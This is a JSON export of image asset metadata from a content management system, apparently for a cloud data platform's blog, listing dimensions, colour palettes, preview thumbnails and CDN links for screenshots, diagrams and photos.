{"_createdAt":"2023-08-15T07:49:51Z","_id":"image-aa0363c6d904aee6dc166d5f3a53c220e98b9840-1567x844-png","_rev":"XZCFBQN7u3p4u4Zd9HzZFF","_type":"sanity.imageAsset","_updatedAt":"2023-08-15T07:49:51Z","assetId":"aa0363c6d904aee6dc166d5f3a53c220e98b9840","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"MD5Oj}xRacWAf6x|t0WYRjWCs$t9j^axf5","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.8566350710900474,"height":844,"width":1567},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAALCAIAAADwazoUAAAACXBIWXMAABcRAAAXEQHKJvM/AAACMElEQVQokW3Qa0/TUBjA8X4Bt67bejltz8453U5L13WDXSRIUBBMxEtid+vYxjbYEFAMDAlRkJsIoiIRmBgTE/mmZgOjJia/PC9O8s/z5DABpQhwGZCKrNUgbSJjEfU9R+YyMl/i6DqxNmDfpqJvKcYeNA9C0Q8o9hnbpyTeIfEOg4x6evjF0Ojq0OjayMTG2P3diYf7Y5MHQ2NvB+/sZ24fGgN7qr79/5iYjeG77fHJ1+OTm/ce7TxwDp3S8ePC8a3xffvmlpnaJrGt3uZdaL4LRY/+iQEp63bTSi1Ek89i6eXE4FpmZDMzsmMMbKj6ukJfKfob9bp8j6xP2P5C4uda4kJLXDCsmOWkvF8uBpSpIKwJqKXQNrZ2cOwAW0fYPtbiJ+H+08hAhya/0dR3mv6hp38amUsjc8l4eOdG0PHwOa/gslKFk2cEsgLNPRL/GOk/oclTPXmmJ89o13kk2aFdX690Yw+f9Qh5VnR9oOpXGgHYEtC8SpdItK1Zq5rVxuaKQpdEvMijhb/MM17BYYUsK+Z9UokDVU6u+0CVA64amab2XFesFbZmIZ3mYYkDBQ7kOZBnxZxXcBhReoJgPhSuylo9oNZ6cYWTXUhrkVhTi872zCCjroSrEq5IuAxwmVddVswyGnTi1LUTLWo/BWQmCBt+ucqBooSnZK0ihEo8dHl4Nd2gej39csErZBlESmFaDpsNYjah3lLpnIjqPlD0Sbmr23qf8sfvl6yHd34B+nScv/jsuFoAAAAASUVORK5CYII=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#392a58","foreground":"#fff","population":0.08,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#0c1454","foreground":"#fff","population":25.92,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#0c1454","foreground":"#fff","population":25.92,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#a4abd3","foreground":"#000","population":0.33,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#e1e8f5","foreground":"#000","population":2.13,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#646c99","foreground":"#fff","population":1.88,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#3444be","foreground":"#fff","population":5.75,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"Template_Tech_post_blog.png","path":"images/sczeoy4w/production/aa0363c6d904aee6dc166d5f3a53c220e98b9840-1567x844.png","sha1hash":"aa0363c6d904aee6dc166d5f3a53c220e98b9840","size":58825,"uploadId":"F1H6kfDLo0WRl5vDMtpmAgtW6HeFUPRz","url":"https://cdn.sanity.io/images/sczeoy4w/production/aa0363c6d904aee6dc166d5f3a53c220e98b9840-1567x844.png"} {"_createdAt":"2024-05-17T08:08:44Z","_id":"image-aa1b8e90387c1ad9f20a7b808cf94acc4354730d-1624x1064-png","_rev":"5dKvdU2b7V4fiIIxYl1DAO","_type":"sanity.imageAsset","_updatedAt":"2024-05-17T08:08:44Z","assetId":"aa1b8e90387c1ad9f20a7b808cf94acc4354730d","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"VOH-W720IA;_0L~qM|M{xtIo00iHxbpJ-oDOELxa%2S~","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.5263157894736843,"height":1064,"width":1624},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAANCAYAAACpUE5eAAAACXBIWXMAAAsTAAALEwEAmpwYAAAEEklEQVQ4jS2SeUyTdxjHf33ft/Sgo33pQY8Bk3Hfk2tjeGVzMlCQCkMzHSHbRBGGYhSNEOJ0OheIIAyR0THTiXOyAJNxbstwbANbqJy29HhLS0sPjsJwjqN9l5Y9yZPnySfffJ5/HhC+/SiIiMuHwmNPIZHxhcSo+EJiWMxJYnB0HhIRV0AMjy1AhIevwd19UtKjzkHPrh4JU4fN0nD9JMMx0sVxjP/quWFQkEzPNwCO4wAQSVwCyk1xZwoOcT35hwR0rww+gyvkMQWZfLZ3Fp/GSuMFReayevokQUMS+RHJsCJnTqvba9fL33MoBovsSumxVdVoYIv4a8Ql3Jec5lZV07ytsalrt+hub0pt/Y+7zl9qiLp8TRwv+qZnb5O4b1+TuCeh//FIvEQqP/ZUpjg+jylzHPrJ67hm+J5DI7vxt0KS9N3NqxTgrLKyT18am9Cka2YW72A6WzumW6pXY5Y8NWY9g+lsYkxna9XqlyqVKmPywJ9PfVUymf+6VpZj10paN9V/STaxJ21raukH4x3fslzCquo6VKmxFKm0tmcTcvO6ElvSm+df3JuzvmhWqBdmnQzTr0zNGpcLB9paULyjwgNXDxSsjnfLzYMP15ZHfzKsq/6oNA12+rmEtV82oCpsvnhKOY8NDWP4uNy8bLKudc5Z/m0fnZxbGBrR4tOYzWAwrpSNtd/nr90vZ9mnfzu7IG3TaX4W4dahh6tr0/2ieWl3sEt444tqVDY2c2ZsyqyWjhrw0UnzolKz2DGtWWiVTZgsTjahsOqeKUyX+tvavTZ++Ax1jHed/kfagi39fhd//uTByvpYZ6P18fdbwszsU+jnFQ+Ka+90Yw1Nv+D1or7lW3UdnVW1j9rrvupdcLLbjb2GmzVtpQUlt1l4zREPh/jcaUdzyYy9uQS3N19Y3RSfF1luHd8S8rx3MmLeOJn3durFwYzsK6b9wnJ54p5iccLOoqZ300snhIevmJLTSocTd31SxAzJ9cRzqTR7fsBHeHHUEH4hweQ4FzO9URBcaTrK93cJiZQgKp2Tkugb+H5hRGze5cCI3HKWIDMP5Qo/9AvJuRgVf6LcPyyniC3I2AGo71BxISDZDpITLZmeJcZsXoUxi3PVmE7Lkr0Fe7mECJFBdGfEerAFqRyBX5Yv++WMMDrnQLgH50AoS3DwVZ+ALD7PN53NYO+hAXIo3PomEap+PYB5Njr6tY8j4nbnR8YklkSHbjsRxN76QwAA/H9DAFAQhLKdQmUk0dzRJBpMCiFtcUBwTsLWDgFKAgnQU9kQmuYDGPt5wH0HDRAYiDPkzBIIEAkmutERdxobIVNQGIIpMAGiwCQy6mLOSYDIMAAEGAIAZpLJiDfd280bDST5MF5x41JpCBlyHiOA/wC2MtSEiNcZUAAAAABJRU5ErkJggg==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#51332e","foreground":"#fff","population":0.04,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#53150c","foreground":"#fff","population":0.03,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#f85208","foreground":"#fff","population":2.3,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#a9b2d4","foreground":"#000","population":0.32,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fcbc74","foreground":"#000","population":0,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#696c8f","foreground":"#fff","population":0.35,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f85208","foreground":"#fff","population":2.3,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"aiven-on-aws-outposts.png","path":"images/sczeoy4w/production/aa1b8e90387c1ad9f20a7b808cf94acc4354730d-1624x1064.png","sha1hash":"aa1b8e90387c1ad9f20a7b808cf94acc4354730d","size":32444,"uploadId":"17UitkZxc810Yd6RbiDkFUoQLUiFtApu","url":"https://cdn.sanity.io/images/sczeoy4w/production/aa1b8e90387c1ad9f20a7b808cf94acc4354730d-1624x1064.png"} {"_createdAt":"2022-10-25T11:22:42Z","_id":"image-aaa852d4e58871adfdff4115a6b7ea22d68796c8-1500x840-png","_rev":"BhQKBx4xjFWfGX6XgYDJkE","_type":"sanity.imageAsset","_updatedAt":"2022-10-25T11:22:42Z","assetId":"aaa852d4e58871adfdff4115a6b7ea22d68796c8","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"MNAmrGkCj[j[of~qWVayj[j@~qayayfkj@","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.7857142857142858,"height":840,"width":1500},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAALCAIAAADwazoUAAAACXBIWXMAAAsTAAALEwEAmpwYAAABpklEQVQokU2S247aMBCG8yAgkthOfMz54LCBNN4NG6i0UrUqT1WpF63EAql60ZbnrCbZBT79tmxL45l/bOvP33/nX7+//Th8/3k4vB3fjqfj6XQ63xjOw93uPAywHYbhcrlYr69fv7y8fN5tt/32edNvJp5vbLpN13WPHxhjmqYxxuz3e6vIyyKJ8yRMokjJQAqp5A0hBKXUI+8ghGzbns1mju2UZWnpUpdpksVBqALBJedCjOKcw8y471PvCiEEY9dxCSHL5dIq8iKNw1AyTikhHiGeRzyCyVUY4VEIIYwxJpi4LgRXVWXpQhdpnIRSCcHgBsZGUZ9O8j1/zDddgZGLFosFQkhrPZadpXkcxWGkVKCkClQQqEAppaSSQjLKfN9/Lxlhx3bm87nruBBc5GWexEmglJCMcQaDc8YhOQgM31uYeoYxhrIhGJJyThm4Bd93tiHdaHsc0wlykUe8SlfWQ/VQFVmeRFEA7yQ+uK7gEJrPJij0lVCf1nVt7fpdD//gsXt6Msa0n1rTGqA17UjTNOv1erVa1XVdaZ1lWRiGaZpu+/4/KCWSR7J9NXcAAAAASUVORK5CYII=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#3c545c","foreground":"#fff","population":0,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#572906","foreground":"#fff","population":0.07,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#657b96","foreground":"#fff","population":0.25,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#ccc4bc","foreground":"#000","population":0,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#aed2ed","foreground":"#000","population":0.08,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#657b96","foreground":"#fff","population":0.25,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#4c8cc4","foreground":"#fff","population":0,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"aaa852d4e58871adfdff4115a6b7ea22d68796c8-1500x840.png","path":"images/sczeoy4w/production/aaa852d4e58871adfdff4115a6b7ea22d68796c8-1500x840.png","sha1hash":"aaa852d4e58871adfdff4115a6b7ea22d68796c8","size":359923,"uploadId":"rygPEnxQLZFIUnTTfe6h2KqClI5aSg2a","url":"https://cdn.sanity.io/images/sczeoy4w/production/aaa852d4e58871adfdff4115a6b7ea22d68796c8-1500x840.png"} {"_createdAt":"2023-01-24T08:24:29Z","_id":"image-aaaac782ee0f8eda01abceedbdc7ce3952a90f00-1500x758-png","_rev":"7aZRizEs9TRA92eUWCOSSH","_type":"sanity.imageAsset","_updatedAt":"2023-01-24T08:30:51Z","altText":"Screenshot of an Apache Kafka service's overview in the Aiven Console","assetId":"aaaac782ee0f8eda01abceedbdc7ce3952a90f00","description":null,"extension":"png","metadata":{"_type":"sanity.imageMetadata","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.9788918205804749,"height":758,"width":1500},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAKCAIAAAA7N+mxAAAACXBIWXMAAAsTAAALEwEAmpwYAAABHUlEQVQokW2R627DIAyF8/6Ptleo9mfSmqYJGAO+QekmyC5ttk/IAqyDj810eTnNp7fzeX6/zOdldgFIVdREzUotpTIzETHLvpHBuOEpvM4wb+ABMIQYYk6ZOBFnYlFTNZEu2zVmVgdlMFlmJTHVUspPwkauPnO73Vpr9wcmVWXqD9da2yP377WfBh/PTEQUQkDE3g93iybDiFkpVr9MdBettaMYEdd1dc4hInoIm4ve5xAIkRA5JhkNM7OZHYpPESMApEHwAJsLzqMH9BABMkbug6UYE7McivfK3vuUEuUcEVPs8+6MuP9NSsl7IKKjGEK4LMvmXI6pmxzDE9XfKIKI1+uaUv6n8rJcnXOUsmRSFv1DjHHbXM7U2lPPn4TEQnFiquJDAAAAAElFTkSuQmCC","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#656366","foreground":"#fff","population":0.25,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#94245c","foreground":"#fff","population":0,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#d6a1b5","foreground":"#000","population":0.27,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#d6a1b5","foreground":"#000","population":0.27,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#ec74cc","foreground":"#000","population":0,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#a64b81","foreground":"#fff","population":0.21,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#e66ab1","foreground":"#000","population":0.03,"title":"#fff"}}},"mimeType":"image/png","opt":{"media":{"tags":null}},"originalFilename":"service-creation.png","path":"images/sczeoy4w/production/aaaac782ee0f8eda01abceedbdc7ce3952a90f00-1500x758.png","sha1hash":"aaaac782ee0f8eda01abceedbdc7ce3952a90f00","size":61544,"title":null,"uploadId":"OmqBYjGxJIeFa5frqfmhKNu3Nrnvwk3r","url":"https://cdn.sanity.io/images/sczeoy4w/production/aaaac782ee0f8eda01abceedbdc7ce3952a90f00-1500x758.png"} {"_createdAt":"2024-02-27T12:33:13Z","_id":"image-aacdb8a938109a0ba413dcf22782a2ea2e83fb70-1475x890-jpg","_rev":"w5AXxS2dRCMjAjCd4XMqVi","_type":"sanity.imageAsset","_updatedAt":"2024-02-27T12:33:13Z","assetId":"aacdb8a938109a0ba413dcf22782a2ea2e83fb70","extension":"jpg","metadata":{"_type":"sanity.imageMetadata","blurHash":"M3Ss51M^D%~WD-_101%JIV%LD%-:4;.6s:","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.6573033707865168,"height":890,"width":1475},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/jpeg;base64,/9j/2wBDAAYEBQYFBAYGBQYHBwYIChAKCgkJChQODwwQFxQYGBcUFhYaHSUfGhsjHBYWICwgIyYnKSopGR8tMC0oMCUoKSj/2wBDAQcHBwoIChMKChMoGhYaKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCj/wAARCAAMABQDASIAAhEBAxEB/8QAGQAAAgMBAAAAAAAAAAAAAAAAAAIBAwYI/8QAHhAAAQQCAwEAAAAAAAAAAAAAAQACAxEFEgQTUWH/xAAWAQEBAQAAAAAAAAAAAAAAAAAAAgP/xAAZEQACAwEAAAAAAAAAAAAAAAAAAQIDERL/2gAMAwEAAhEDEQA/AOm44jZdRab9V8exNOJA9tP1gKdB4gGA+lCyeazXL4mQkhhLNG1VtQtlTJrSej//2Q==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#3d4585","foreground":"#fff","population":0.03,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#b0b828","foreground":"#000","population":0.01,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#787989","foreground":"#fff","population":0.07,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#cccca4","foreground":"#000","population":0,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#a6e8fb","foreground":"#000","population":0.04,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#787989","foreground":"#fff","population":0.07,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#d94939","foreground":"#fff","population":0.01,"title":"#fff"}}},"mimeType":"image/jpeg","originalFilename":"dragonfly-control.jpg","path":"images/sczeoy4w/production/aacdb8a938109a0ba413dcf22782a2ea2e83fb70-1475x890.jpg","sha1hash":"aacdb8a938109a0ba413dcf22782a2ea2e83fb70","size":154699,"uploadId":"PYUu6VA3xFqk39cMPtAzMUCbEJQivmTR","url":"https://cdn.sanity.io/images/sczeoy4w/production/aacdb8a938109a0ba413dcf22782a2ea2e83fb70-1475x890.jpg"} {"_createdAt":"2022-08-12T12:10:31Z","_id":"image-aae88e786c7a986c96f17b67c08d02124e6f8332-1360x689-svg","_rev":"Dw0aHV2Vi2aVE96DWOSa02","_type":"sanity.imageAsset","_updatedAt":"2022-08-12T12:10:31Z","assetId":"aae88e786c7a986c96f17b67c08d02124e6f8332","extension":"svg","metadata":{"_type":"sanity.imageMetadata","blurHash":"MKSFt-%ft+MKx]rrW;ozRPW;?]VuVZx[RQ","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.9738751814223512,"height":689,"width":1360},"hasAlpha":true,"isOpaque":true,"lqip":"data:image/jpeg;base64,/9j/2wBDAAYEBQYFBAYGBQYHBwYIChAKCgkJChQODwwQFxQYGBcUFhYaHSUfGhsjHBYWICwgIyYnKSopGR8tMC0oMCUoKSj/2wBDAQcHBwoIChMKChMoGhYaKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCj/wAARCAAKABQDASIAAhEBAxEB/8QAGgAAAQUBAAAAAAAAAAAAAAAAAAIDBAUGCP/EACIQAAEDAgYDAAAAAAAAAAAAAAEAAgMEEQUGEhMhMUFRYf/EABYBAQEBAAAAAAAAAAAAAAAAAAMBAv/EABgRAAMBAQAAAAAAAAAAAAAAAAABEQMS/9oADAMBAAIRAxEAPwDpgOqWatuJnfAvZUONS5ghxJj444pqAkDQzsfStXJ0kjki60nBM9OHZRqnm1QtO24ceUKVYekKBn//2Q==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#4b2d46","foreground":"#fff","population":0.37,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#b40c70","foreground":"#fff","population":0.03,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#a6adc1","foreground":"#000","population":0.91,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#a6adc1","foreground":"#000","population":0.91,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#8ec7eb","foreground":"#000","population":0.21,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#b06391","foreground":"#fff","population":0.41,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#cf2880","foreground":"#fff","population":0.71,"title":"#fff"}}},"mimeType":"image/svg+xml","originalFilename":"iot-architecture.svg","path":"images/sczeoy4w/production/aae88e786c7a986c96f17b67c08d02124e6f8332-1360x689.svg","sha1hash":"aae88e786c7a986c96f17b67c08d02124e6f8332","size":418840,"uploadId":"CeX9ryYVI0oVeD0X87NJFpVKWVt1iZbu","url":"https://cdn.sanity.io/images/sczeoy4w/production/aae88e786c7a986c96f17b67c08d02124e6f8332-1360x689.svg"} {"_createdAt":"2022-06-14T14:41:15Z","_id":"image-aaeab1e4d8ce46bd3744166a61d7e3da220d558f-4133x4133-jpg","_rev":"0HOthdQkSgJdYc0C9r2jGF","_type":"sanity.imageAsset","_updatedAt":"2022-06-14T14:41:15Z","assetId":"aaeab1e4d8ce46bd3744166a61d7e3da220d558f","extension":"jpg","metadata":{"_type":"sanity.imageMetadata","blurHash":"eyO|FRRj?vWCVs~qxuR+oeRPE1WBVsRjozx]aeoLt7azxuofM{j[ay","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1,"height":4133,"width":4133},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/jpeg;base64,/9j/2wBDAAYEBQYFBAYGBQYHBwYIChAKCgkJChQODwwQFxQYGBcUFhYaHSUfGhsjHBYWICwgIyYnKSopGR8tMC0oMCUoKSj/2wBDAQcHBwoIChMKChMoGhYaKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCj/wAARCAAUABQDASIAAhEBAxEB/8QAGgABAAIDAQAAAAAAAAAAAAAAAAYIAQIFB//EACUQAAEEAQQBBAMAAAAAAAAAAAEAAgMEBQYREiEHFCIxQSNRYf/EABgBAAMBAQAAAAAAAAAAAAAAAAIDBAAB/8QAGxEAAwACAwAAAAAAAAAAAAAAAAECAzEREhP/2gAMAwEAAhEDEQA/ALP5W16LHz2PtjSR1uoDpjO5WbVUUc2Qjt0rLT+IM4mIrbyT5DwuHxlioLUctxx4FgO4b/SQoh4715iJdVw1XPi4yM4tm+AHfoFKpU7XGijH086dbPdUWA4EAtIIP2iaTlIJibDHvnJkc7txd3uVz3gQjlF7HN7Bb1siIkdLUeF8vcyGgKM1yUyyguZyd2dh8IiIGY//2Q==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#463630","foreground":"#fff","population":0.75,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#843c38","foreground":"#fff","population":0.01,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#9a786b","foreground":"#fff","population":3.06,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#bc9789","foreground":"#000","population":1.47,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f5b7a1","foreground":"#000","population":1.66,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#9a786b","foreground":"#fff","population":3.06,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#bc744c","foreground":"#fff","population":0,"title":"#fff"}}},"mimeType":"image/jpeg","originalFilename":"_DSC0439.jpg","path":"images/sczeoy4w/production/aaeab1e4d8ce46bd3744166a61d7e3da220d558f-4133x4133.jpg","sha1hash":"aaeab1e4d8ce46bd3744166a61d7e3da220d558f","size":8688145,"uploadId":"Ly2iNHM9XTeJkIcjWAWxBidcHJsqRdo0","url":"https://cdn.sanity.io/images/sczeoy4w/production/aaeab1e4d8ce46bd3744166a61d7e3da220d558f-4133x4133.jpg"} {"_createdAt":"2022-06-14T14:41:09Z","_id":"image-ab39b73bbf8c2c9bf95e093876d55430cda575f3-205x205-png","_rev":"0HOthdQkSgJdYc0C9r2hgq","_type":"sanity.imageAsset","_updatedAt":"2022-06-14T14:41:09Z","assetId":"ab39b73bbf8c2c9bf95e093876d55430cda575f3","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"eLLWCR~WLfAD-p^*IUxuR+R+FxRjRPxZnO-:kC-oj@M{I;Rjrrt6Na","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1,"height":205,"width":205},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAUCAIAAAAC64paAAAACXBIWXMAAA7DAAAOwwHHb6hkAAAEwElEQVQ4jR3L6U9aBwAA8PdfbPRy7Y5kR9IPTda0tfWaVgtW26pR0RYVBVSoghWUQxAH4oEHcniBBwLCe4Cc8njvcT1uKNYecatduu7olu5I1qRZsi/L9vv+A3IRZy7izGBQGgXTGJTGoJDHuK2bFgzRKc11bQ1EPrvHolfGA5YC7n6Iu3IRRz7iyEedmRAEpDF7CoWSQVsKBSNeE2SYW5cPz7Ipw+Qb1BvFrRVfUohXuT3Na3NjmGszE4KyISgXtmfD9hRqA1IYlEDAJALhsNW+Mb8mYTrFtJi8Nyyl+fgdloHmVVqdrO26oOvW8tQo4lhPBEypoCWN2rIhCEhiUBKFkpgDdRtNc0K/rO+lXvDWKntrmnijF71UDz+Z6Q/wWqfaKwXdt7dVYwiojboNSdicC9uBOALiQRseBP3gul058lgz/M6u+Mc9925X8Ydh/Gcd/7sFdkHWbeytHW0pm+dTXYZJDNLGvFspxApEA9bI/m7Iv+uzrvqXBMero+9Axd925V9GxZvV8R/VguNZ9oGsx8m+PUEunRpsAjWjsGU+vLeW2N8BYrAtFrBFYRBxbsI6SUHF+UbLO14ee7U8/oN2/FvlSEJM3+e2mvtJ8vZSBaveqBzwbk1ikC7u2wLiKJRA7XHUEd3bRDSifQnVxG4xDraHxMzDaR4qYOi66qbJFbPka9KWYjmDuCaj21fHgzY17tkA8CCIB8EYDCYc+oxOhI1T1+m35tqJTnZ7aoxuojdIbpcK64snmy5Pt1xW9lSvSKg2nRi2/p8TGIQjEB6Ecu6tFzuTx2oOLu72ctozEtqBlGaj16vJ1cv3avQdFeuUEh29emWs06IR7VuWom4DkI440xFXKuwqwLs/ORf/NEpea0ZezT34VTvyfJYJDzT6mE0Yh+xl1pq7y1cYNVohZUcl8O0shPbWgUx0L4t7MjFvIez8PqD/zSz7RT3yeoH7+7LweOY+MtCIsJqS3LvBwXpjT5mKUa0WUsxq4b5lMeL6L7uzMU8m6s1GvU8Qy/Nt+dNJ1rOvmcdTnIyIBnXftHUSA8w7jv4bqq6SSUaNWky1LksQmzru3QByuCeHe7O4LxPz5zHHgUmZVbByYkZW1Bdgd2zdI+nbroO02g161URHibT/plrau7syAds0MY8BOEzDj9KBgzScTwXzuL/gNjzS8J/IWQ/FLITTvUu9s9NBMtNJi53l/HulY331C5LeHY3UY1qEQR1wVAg9zaOHOfQgg+aTwbTfXNBLXyxyjuSDMS7d19cMMWr11K/k5JKhljJmW9XY/RatfNCsldj1cuD5YfToIPw4G0xGvH631bGpw1TCZyrOs1k2LmR4B1p2aNVaSulMR03fncqqqxfqKi8x2kji++R5YQ9wVMDycd++y6RdUvK4POno6J5SnFdx80o2JukF2c16OsnAatAM3G0nVXzy0cfnzp47/8WnpZcu1FcVAx67UbM4w2YPNjS1llfe7LzbbV2aL2wv5tWCiIzp5nfZRX1OBV/JoVVeuXjyVNF7hNOEE2dOnT579oMPgaGhB43NbdfKiRevVF64WE4kNWpmFw5c4OHGXGrmQWyah68s+FeWeDTK+c8+f59wmkA4QzhRRDhZRDhR9C+iBanaAiVX7QAAAABJRU5ErkJggg==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#453832","foreground":"#fff","population":2.85,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#724531","foreground":"#fff","population":3,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#f3a382","foreground":"#000","population":7.72,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#ccc1b1","foreground":"#000","population":5.13,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f3a382","foreground":"#000","population":7.72,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#ad7a60","foreground":"#fff","population":4.79,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#a5654d","foreground":"#fff","population":7.62,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"jason-hepp.png","path":"images/sczeoy4w/production/ab39b73bbf8c2c9bf95e093876d55430cda575f3-205x205.png","sha1hash":"ab39b73bbf8c2c9bf95e093876d55430cda575f3","size":78022,"uploadId":"u2FptoyrxHq0SuGPdpVMY0mgY8GmqU04","url":"https://cdn.sanity.io/images/sczeoy4w/production/ab39b73bbf8c2c9bf95e093876d55430cda575f3-205x205.png"} {"_createdAt":"2023-06-16T14:55:03Z","_id":"image-ab5acb791f9dd9c48d0ac86878c9f7c98214ec87-1200x630-jpg","_rev":"LlMsTfwmVHcho3tE1Okp0N","_type":"sanity.imageAsset","_updatedAt":"2023-06-16T14:55:03Z","assetId":"ab5acb791f9dd9c48d0ac86878c9f7c98214ec87","extension":"jpg","metadata":{"_type":"sanity.imageMetadata","blurHash":"MOSC$2?_u5L2mR-WR%ozjGenHXysROa0o}","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.9047619047619047,"height":630,"width":1200},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/jpeg;base64,/9j/2wBDAAYEBQYFBAYGBQYHBwYIChAKCgkJChQODwwQFxQYGBcUFhYaHSUfGhsjHBYWICwgIyYnKSopGR8tMC0oMCUoKSj/2wBDAQcHBwoIChMKChMoGhYaKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCj/wAARCAALABQDASIAAhEBAxEB/8QAGAAAAwEBAAAAAAAAAAAAAAAAAAYHBAX/xAAmEAACAQQAAwkAAAAAAAAAAAABAgMABAURBhORBxIjJDFBYZPR/8QAFQEBAQAAAAAAAAAAAAAAAAAABgf/xAAeEQABAwUBAQAAAAAAAAAAAAABAAIEAwURFFOhUf/aAAwDAQACEQMRAD8A2RT2/ICrEOZrWyPem3s2wdjmLq9ORjaQRKvcAYjW6TifBT06V0oppbdYWt5ZI